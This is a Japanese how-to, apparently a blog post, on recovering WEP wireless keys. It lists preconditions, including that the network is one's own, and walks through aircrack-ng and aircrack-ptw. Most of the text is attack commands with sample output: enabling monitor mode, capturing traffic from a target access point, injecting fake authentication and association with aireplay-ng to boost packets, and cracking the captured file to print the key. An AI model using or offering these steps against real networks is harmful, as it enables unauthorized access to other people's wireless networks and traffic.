

0.解析の条件

- (1).WEPである言
- (2).Macアドレスフィルタが設定されていない事
- (3).アクセスポイントに接続しているクライアントが存在している事
- (4).自己ネットワークである事

1. aircrack-ng

=>WEPのパスワード解析に必要な情報の収集から情報収集のために必要なアクセスポイントへのアタック、パスワードの解読までを行う優れたもの。

インストールにはパッケージマネージャを使用すればOKです。

2. aircrack-ptw

<http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/#implementation> よりDownload

```
tar xvzf xxxxx.tar.gz
```

```
cd xxxxxx
```

```
make
```

```
cp aircrack-ptw /usr/local/sbin/
```

"make"コマンドでエラーが出る場合は、"libpcap0.8-dev"をインストールする必要があります。

無線LANのインターフェイスを停止

```
# ifconfig wlan0 down
```

キャプチャ用インターフェイスの起動

```
# airmon-ng start wlan0
```

キャプチャ用インターフェイスの確認

```
# airmon-ng
```

```
Interface Chipset Driver
```

```
wlan0 Intel 3945ABG iwl3945 - [phy0]
```

```
mon1 Intel 3945ABG iwl3945 - [phy0]
```

<----- ここに注目。以降のコマンドで「インターフェイス名」として使用します。

キャプチャーモードが起動しているかを確認

```
# airmon-ng
```

```
wlan0 Intel 3945ABG iwl3945 - [phy0]
```

```
mon0 Intel 3945ABG iwl3945 - [phy0]
```

<----- ここに注目。

(monitor mode enabled on mon1) <----- ここに注目。

アクセスポイントの収集

```
# airodump-ng mon0
```

```
BSSID      PWR Beacons #Data, #s CH MB ENC CIPHER AUTH ESSID
00:01:01:ED:ED:ED -87 16 0 0 1 54e WEP WEP AP-POINT-00
```

パケット収集とARP送信によるパケット増幅

収集コマンド文法

```
# airodump-ng -c CH番号 --bssid BSSID名 -w 収集パケットの排出ファイル名 インターフェイス名
```

パケット情報

```
BSSID      PWR Beacons #Data, #s CH MB ENC CIPHER AUTH ESSID
00:01:01:ED:ED:ED -87 16 0 0 1 54e WEP WEP AP-POINT-00
```

収集コマンド

```
airodump-ng -c 1 --bssid 00:01:01:ED:ED:ED -w dump1417 mon0
```

arpを送信してパケットを増やすコマンド文法。パケット収集中に別のterminalを開いて実行

```
# aireplay-ng -1 発信感覚(秒) -a APのMAC-Address -h 自PCの無線イーサのMAC-addeess -e ESSID名 mon0
```

発信感覚(秒)を「0」とした場合は連続してパケット送信してくれそうなんだけど、一回送信して終了してしまいました。
「1」を設定した場合は1秒間隔で「Ctrl + c」するまで継続されます。

```
aireplay-ng -1 0 -a 00:01:01:ED:ED:ED -h 11:11:11:11:11:11 -e AP-POINT-00 mon0
```

自MAC : 11:11:11:11:11:11

上記のコマンドで失敗した内容

```
14:25:34 Sending Authentication Request (Open System)
```

```
Attack was unsuccessful. Possible reasons:
```

* Perhaps MAC address filtering is enabled. <---- このメッセージでわかるようにMACアドレスでフィルタリング設定がされている。

* Check that the BSSID (-a option) is correct.

* Try to change the number of packets (-o option).

* The driver/card doesn't support injection.

* This attack sometimes fails against some APs.

- * The card is not on the same channel as the AP.
- * You're too far from the AP. Get closer, or lower the transmit rate.

気を取り直して以下のダンプ内容をキャプチャしてみよう

```
BSSID      PWR Beacons  #Data, #s CH MB  ENC  CIPHER AUTH  ESSID
16:16:16:16:16:16 -79   25    0 0 7 54 WEP WEP    AP-POINT-99
```

収集コマンド

```
airodump-ng -c 7 --bssid 16:16:16:16:16:16 -w dump1431 mon0
```

arp送信によるパケット増幅

```
aireplay-ng -1 1 -a 16:16:16:16:16:16 -h 11:11:11:11:11:11 -e AP-POINT-99 mon0
```

以下のように表示されていればOKです

```
Sending Authentication Request (Open System)
```

```
Authentication successful
```

```
Sending Association Request
```

```
Association successful :) (AID: 1)
```

解析には800k程度のダンプファイルが必要のようです。

上記のパケット増幅コマンドを利用した場合でも10分程度が必要でした。

キャプチャ解析

```
# aircrack-ptw 収集パケットの排出ファイル名.cap
```

上記コマンド後に表示される「KEY FOUND! [ZZ:ZZ:ZZ:ZZ:ZZ]」がWEPキーコードである。
